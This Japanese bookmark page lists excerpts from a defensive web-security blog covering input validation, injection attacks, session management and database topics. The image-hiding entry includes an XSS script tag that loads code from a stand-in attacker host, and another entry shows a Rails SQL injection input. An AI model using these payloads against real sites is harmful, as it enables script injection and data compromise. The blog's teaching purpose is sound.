タグ

ブックマーク / blog.ohgaki.net (37)

  • CWE-20は知られているか? 〜 開発者必修のNo.1脆弱性のハズが知られていない 〜

    (Last Updated On: 2021年6月17日) CWE-20とは何か?と聞かれて即答できる開発者は多くないと思います。そもそもCWEとは何か?もあまり知られていないかも知れません。 実はCWE-20 不適切な入力バリデーション はソフトウェアセキュリティで最も重要な脆弱性とされています、CWEのみでなく情報セキュリティ標準的に情報セキュリティ関連法的にも。 ※ CWE: Common Weakness Enumeration (共通脆弱性タイプ) CWEは脆弱性識別子のCVEで有名なMITRE(米国でのIPAの様な組織)が管理するソフトウエア脆弱性パターンを列挙したドキュメント/データベースです。日語名の通り、よくある共通のソフトウェア脆弱性を集めた物がCWEです。 CWE-20の解説 – CWE/SANS Top 25 Monster Mitigation M1 実は態々私

    CWE-20は知られているか? 〜 開発者必修のNo.1脆弱性のハズが知られていない 〜
  • PostgreSQLを使うならZFS

    (Last Updated On: 2018年9月2日)PostgreSQLを使うならZFSで決まりです。数値で明らかです。ZFS以外を使うのは論外なくらいの性能差があります。 TL;DR; PostgreSQL(他のデータベースでも)はZFSで使いましょう。 ベンチマーク環境 ハードウェア CPU: Xeon E3-1230 v5 @ 3.40GHz MEM: 32GB ECC HDD: HGST 7200 rpm HDD – HDS721010CLA332 SSD: Crucial CT250MX200SSD HDDは古く、SDDの性能も良いとは言えない物です。 ソフトウェア OS: Fedora 27 Kernel: 4.14.8-300.fc27.x86_64 ZFS: ZFS on Linux 0.7.5 – zfs-0.7.5-1.fc27.x86_64 PostgreSQL

    PostgreSQLを使うならZFS
  • yohgaki's blog - 画像ファイルにJavaScriptを隠す

    (Last Updated On: 2014年12月5日)前回のエントリでイメージファイルにスクリプトを埋め込んで攻撃する方法について記載しましたが、最近イメージファイルにスクリプトを埋め込む事例が話題になったためか ha.ckersにJavaScriptをイメージファイルに隠す方法が紹介されています。 http://ha.ckers.org/blog/20070623/hiding-js-in-valid-images/ <script src="http://cracked.example.com/cracked.gif"> などとXSS攻撃を拡張する手段に利用可能です。サンプルとしてFlickerにJavaScriptを埋め込んだイメージファイルがアップされています。 このイメージファイルは上手く細工しているので画像としても表示され、JavaScriptも実行できます。 Flicke

    yohgaki's blog - 画像ファイルにJavaScriptを隠す
  • インジェクション脆弱性の発生原理と対策 + ISO標準

    (Last Updated On: 2019年2月5日)インジェクション脆弱性の発生原理は簡単です。エンジニアではないマネージャー向けに作った資料を基に原理を紹介します。 インジェクション脆弱性は、その種類に関わらず原理は同じです。原理が同じということは、対策も同じです。一つ一つのインジェクション脆弱性がどのように作られ、攻撃されるのか?は少しずつ異なりますが、基的な部分は同じです。別々に考えるより、一まとめに考えて理解した方が応用もでき、新しい仕組みなどが生まれた場合にも対応できます。 インジェクション脆弱性の原理 SQLインジェクションを例に説明します。 SQL以外でも同じ構造を持っています。 OSコマンド: ファイルの先頭から指定行数を取得するheadコマンドの例。 head -n $line $myfile head : 命令 -n : 命令 $lines : データ $myfi

    インジェクション脆弱性の発生原理と対策 + ISO標準
  • ISO 27000とセキュアプログラミング

    (Last Updated On: 2018年8月4日)セキュアプログラミングの啓蒙にも少々傷気味ですが、今回もセキュアプログラミングの話題です。IPAのセキュアプログラミング講座Web編は削除予定であるとFacebookではお伝えしましたが、ブログではまだだったので合わせて紹介します。 ISO 27000がセキュアプログラミングついてどのように書いているのか紹介します。ISO 27000シリーズはISMS(Information Secuirty Management System – 情報セキュリティマネジメントシステム)認証の根幹となっている国際セキュリティ標準です。ISMS導入で自動的にセキュリティ問題に対応できる!といったモノではありませんが、体系的なセキュリティ導入にとても役立つ規格で2015年6月29日時点で4646組織の認証登録があります。 セキュアプログラミングとは?

    ISO 27000とセキュアプログラミング
  • ほぼ全てのインジェクション攻撃を無効化/防止する入力バリデーション 〜 ただし出力対策も必須です 〜

    (Last Updated On: 2019年2月18日)入力バリデーションはセキュリティ対策として最も重要なセキュリティ対策です。なぜセキュリティ対策であるのか?を理解していない方も見かけますが「ほぼ全てのインジェクション攻撃を無効化/防止する入力バリデーション」の効果と拡張方法を見れば解るのではないでしょうか? ソフトウェア開発者が知っておくべきセキュリティの定義/標準/ガイドで紹介しているセキュリティガイドラインでは入力バリデーションが最も重要なセキュリティ対策であるとしています。 厳格な入力バリデーションを行うと、開発者が意識しなくても、非常に多くの脆弱性を利用した攻撃を防止できます。今回は比較的緩い入力バリデーション関数でも、ほとんどのインジェクション攻撃を防止できることを紹介します。 重要:セキュア/防御的プログラミングでは入力と出力のセキュリティ対策は”独立”した対策です。ど

    ほぼ全てのインジェクション攻撃を無効化/防止する入力バリデーション 〜 ただし出力対策も必須です 〜
  • Memcachedのプロトコル仕様とセキュリティ – Memcachedでもインジェクションが可能

    (Last Updated On: 2018年8月13日)Memcachedはテキストプロトコルとバイナリプロトコルの二種類を持っています。デフォルトはテキストプロトコルです。テキストプロトコルを利用している場合、テキストインターフェース処理の基を理解した上で利用しないとセキュリティ問題が発生します。こういった処理のセキュリティ対策を行う、確認するには実は標準の方が簡単で明解 – セキュリティ対策の評価方法も参考になります。 Memcachedはキーバリュー型なのでSQLインジェクションのような脆弱性とは無縁、と思っていた方は是非読んでみてください。 Memcachedのテキストプロトコル Memcachedのホームページに書いてあるように、memcachedではテキストでコマンドを送り、その結果が返ってきます。 Play with telnet $ telnet localhost 1

    Memcachedのプロトコル仕様とセキュリティ – Memcachedでもインジェクションが可能
  • ホスト名バリデーションのやり方

    (Last Updated On: 2018年8月13日)徳丸さんのブログで私のブログ「GHOSTを使って攻撃できるケース」にコメントがあったようなので、好ましいホスト名バリデーションの方法を書いておきます。 特定の低レベルAPIのバグが10年ほど前に書いたのコードで対応できていない、と議論するのもどうかと思いますがしっかりチェックする場合の例を書いておきます。 そもそもホスト名の仕様はどうなっているのか? 入力バリデーションを行うには仕様を理解する必要があります。ホスト名の仕様は幾つかのRFCで言及されています。例えば、RFC 2181の11. Name syntaxには That one restriction relates to the length of the label and the full name. The length of any one label is li

    ホスト名バリデーションのやり方
    clavier
    clavier 2015/02/05
    ホスト名バリデーションのやり方 | yohgaki's blog
  • Sailsで全てのCPUコアを使う

    (Last Updated On: 2018年8月13日)Node.jsのMVCフレームワークであるSailsはインストールも簡単で、気軽に試せます。しかし、Node.jsはシングルプロセス&スレッドで動作するので今時のマルチコアCPUではその性能はフルに発揮できません。以前はNginxなどで設定するなど、色々面倒でしたがPM2を利用すると簡単にプロセス管理が行えます。もちろんSails以外のNode.jsアプリケーションのプロセス管理にも利用できます。 Sailsのインストールと起動(通常の場合) npmがインストールされていればSialsのインストールはコマンド一つで終わります。 $ sudo npm install -g sails 起動できるアプリを作るのもコマンド一つです。 $ sails new testApp 新しく作ったtestAppを起動するには次のようにします。 $ c

    Sailsで全てのCPUコアを使う
  • PostgreSQLのJSONB型を利用してタグ検索を行う

    (Last Updated On: 2018年8月13日)遅れてしまいましたが、PostgreSQL Adventカレンダー2014の9日目です。昨年はタグ検索するならPostgreSQLで決まり!でPostgreSQLの特徴でもある配列型を使ったタグ検索を紹介しました。今年はJSONを使ってみたいと思います。 つい先程、PostgreSQL GitリポジトリからPostgreSQL 9.4のソースを取得&ビルドして記事を書いています。(記事を書くことを忘れていたので大急ぎで書きました) お店や記事にタグ機能を付けたいことはくあります。PostgreSQLのJSONBなら簡単かつ高速なタグ検索機能を追加できます。Webシステムの強い味方になるはずです。 JSONB型を含むテーブルを作成 昨年書いた通りRDBMSはタグ検索が苦手です。しかし、PostgreSQLRDBMSですが得意です!G

    PostgreSQLのJSONB型を利用してタグ検索を行う
  • SQLiteデータ型の仕様とセキュリティ問題

    (Last Updated On: 2018年10月8日)SQLiteはファイルベースのオープンソースRDBMSです。オープンソースとしては珍しいパブリックドメインライセンスを採用しています。SQLiteはファイルベースなのでデータベースサーバーが必要なく手軽に利用できます。SQLiteは組み込みデバイスで広く利用され、Android/iOSなどでは標準的なデータベースとして利用されています。モバイルデバイス以外での利用も広がっており例えば、Drupal8はSQLite3に対応しています。 普通のRDBMSのようにSQLクエリが利用できるのでとても便利ですが、SQLiteの仕様は他のRDBMSと異なるので注意が必要です。 追記:論理的・体系的セキュリティを構築していれば、ここに書かれているようなセキュリティ上問題となる事を自身で分析/対応できるようになります。 SQLiteの仕様 最も特徴

    SQLiteデータ型の仕様とセキュリティ問題
  • The Pirate Bayに学ぶWebシステムの作り方

    (Last Updated On: 2018年8月4日)The Pirate Bay(TPB)と言えば、世界最大のtorrentサイト、著作権違反サイトとして有名です。実際、サイトの運営者は起訴され刑務所に収監されています。にも関わらずTPBは現在も運用されています。 TPBは世界TOP100のサイトで毎日何百万ものユニークビジターが訪問しているサイトです。HOW THE PIRATE BAY REMAINS UNTOUCHABLEにTPBのシステム構成がどのようなものか紹介されています。 Alexa Top 500によるとTBPはTOP 100の常連です。このブログを書いた時点では88位でした。 TPBはあまり日では馴染みがありません。米国、カナダ、ブラジル、インド、オーストラリアからの利用者が多いようです。 TPBのページビュー(PV)は毎日数千万PVほどあると思われます。それをさば

    The Pirate Bayに学ぶWebシステムの作り方
  • Rails ActriveRecordとSQLインジェクションと実際のアプリケーション

    (Last Updated On: 2018年8月13日)先日はActive RecordのSQLインジェクションパターンを紹介しました。今回は脆弱なコードを見つける事を試みようと思います。脆弱とは言っても攻撃可能であることは意味しません。コーディングとして脆弱であるという意味です。実際に攻撃可能であるかどうかまでは確認していません。 サンプルプログラム 実例ということでRailsアプリケーションが必要なので検索して、OpenProjectと呼ばれるRailsアプリケーションを利用しています。OpenProjectはOffice Projectのようなプロジェクト管理用のオープンソースWebアプリケーションです。GitHubでソースコードが公開されています。今回はそのコードを利用しています。 https://github.com/opf/openproject コードの確認 今回はActi

    Rails ActriveRecordとSQLインジェクションと実際のアプリケーション
  • ActiveRecordのSQLインジェクションパターン

    (Last Updated On: 2018年10月7日)Railsで多用されているActiveRecordのインジェクションパターンを簡単に紹介します。出典はrails-sqli.orgなのでより詳しい解説はこちらで確認してください。特に気をつける必要があると思われる物のみをピックアップしました。 Exists?メソッド User.exists? params[:user] params[:user]などの使い方は危険です。RailsPHPなどと同様にuser[]というパラメーターで配列化します。 ?user[]=1 が入力の場合、 SELECT 1 AS one FROM "users" WHERE (1) LIMIT 1 となり不正なクエリが実行されます。 Calculateメソッド CalculateメソッドはSQLの集約関数を実行するメソッドです。average、calcula

    ActiveRecordのSQLインジェクションパターン
  • 間違いだらけのHTTPセッション管理とその対策

    (Last Updated On: 2018年10月12日)HTTPセッション管理はWebセキュリティの中核と言える機能です。Webセキュリティの中核であるHTTPセッション管理に設計上のバグがある事は少なくありません。今回のエントリはPHP Webアプリ開発者ではなく、主にWebフレームワーク側の開発者、つまりPHP体の方に間違いがあるという話しです。Webアプリ開発者の回避策も紹介します。 まずセキュリティの基として「入力のバリデーションを行い、正当な入力のみを受け入れる」があります。しかし、PHPに限らず多くのセッション管理機構は当たり前の「入力のバリデーションを行い、正当な入力のみを受け入れる」を行っていません。セッションIDの再生成(リセット)も不完全な物が多いと思います。 参考: 知らないと勘違いする「合成の誤謬」の罠 開発者は必修、SANS TOP 25の怪物的なセキュリ

    間違いだらけのHTTPセッション管理とその対策
  • PHP本体でタイミング攻撃を防御できるようになります

    (Last Updated On: 2021年3月25日) PHP 5.6からタイミング攻撃に対する対策が導入されます。メジャーなアプリケーションはタイミング攻撃対策が導入されていますが、PHP 5.6から簡単に対策できるようになります。 タイミングセーフな文字列比較関数はhash_equalsとして実装されました。 http://php.net/manual/es/function.hash-equals.php タイミング攻撃とは タイミング攻撃とは、コンピュータが動作する時間の違いを測って攻撃する、サイドチャネル攻撃(副作用攻撃)と呼ばれる攻撃手法の1つです。HTTPSの圧縮の副作用を利用したサイドチャネル攻撃が有名です。 コンピュータの動作時間、温度、音、電子ノイズ、電力使用量など、アルゴリズム自体の脆弱性を攻撃するのではなく副産物を利用する攻撃方法でサイドチャネル攻撃の一種です。

    PHP本体でタイミング攻撃を防御できるようになります
  • PHPのJSONのエスケープ

    (Last Updated On: 2023年12月8日) 追記:最近のOWASPガイドの更新でJavaScript文字列はUnicodeエンコードで安全性を確保するよう変更されました。元々このブログでもUnicodeエスケープのまま利用するように書いています。他の言語のユーザーはUnicodeエスケープを利用しましょう。PHPもASCII領域の文字をUnicodeエスケープするようにした方が良いと思います。これは提案して実現するように努力します。 JSONはJavaScriptのオブジェクトや配列を表現する方式でRFC 4627で定義されています。メディアタイプはapplication/json、ファイル拡張子はjsonと定義されています。 PHPにJSON形式のデータに変換するjson_encode関数とjson_decode関数をサポートしています。 JSON関数がサポートされている

    PHPのJSONのエスケープ
  • PHP最速フレームワークPhalconのインストール

    Framework / Memory Usage (mean, megabytes per request) [lessis better]Memory Usage(MB)ZendSymfonyYiiLaravelKohanaCodeIgniterFuelPhalcon0.40.81.21.62.0 参考 Phalcon PHPとSails Node.jsのベンチマーク Phalcon 1.3 と 2.0のベンチマーク Phalconモジュールのインストール ここではCentOS/Scientific Linuxでのインストール例を紹介しますが、マニュアルにはWindows/OSXなどのインストール手順も記載されています。PhalconはC言語で記載されているのでPHPがビルドできる環境でなければなりません。つまり、CentOSなどであればgccなどのビルドツール、php-develなどの

    PHP最速フレームワークPhalconのインストール
  • Webアプリの入力はバリデーションできない、という誤解

    (Last Updated On: 2019年2月13日)Webアプリの入力はバリデーションできない、と誤解している方は少なく無いようです。システム開発に関わる人でなければ誤解していても構わないのですが、システム開発者が誤解していると安全なシステムを作ることは難しいでしょう。 Webアプリの入力はバリデーションできない、と誤解している開発者にも理解できるよう噛み砕いて解説してみます。 入力とプログラムの基構造 入力のバリデーション(入力の制御)はセキュリティ対策で全てのアプリケーションにとって最も重要なセキュリティ対策です。(SANS TOP 25 Monster Mitigation #1) 入力仕様を決めること、知ることはプログラマにとって重要な仕事の1つです。プログラムは特定の入力を受け付け、その処理を行い、何らかの出力を行います。プログラムが処理する入力を知らず(決めれず)にプロ

    Webアプリの入力はバリデーションできない、という誤解
  • エンジニア必須の概念 – 契約による設計と信頼境界線

    (Last Updated On: 2019年5月29日)少し設計よりの話を書くとそれに関連する話を書きたくなったので出力の話は後日書きます。 契約による設計(契約プログラミング)(Design by Contract – DbC)は優れた設計・プログラミング手法です。契約による設計と信頼境界線について解説します。 契約プログラミングとは 契約プログラミングは比較的新しい設計思想で、サポートしている言語にはEffile、D、Clojure、Valaなどがあります。最近作られた言語の多くが契約プログラミングをサポートする機能を持っています。C++、C#やJavaなどでも契約プログラミングをサポートするライブラリが利用できます。契約プログラミングをサポートする言語やライブラリを利用しない場合でも、契約プログラミングの概念を適用すると安全かつ効率が良い開発の手助けになります。 Wikipdiaの

    エンジニア必須の概念 – 契約による設計と信頼境界線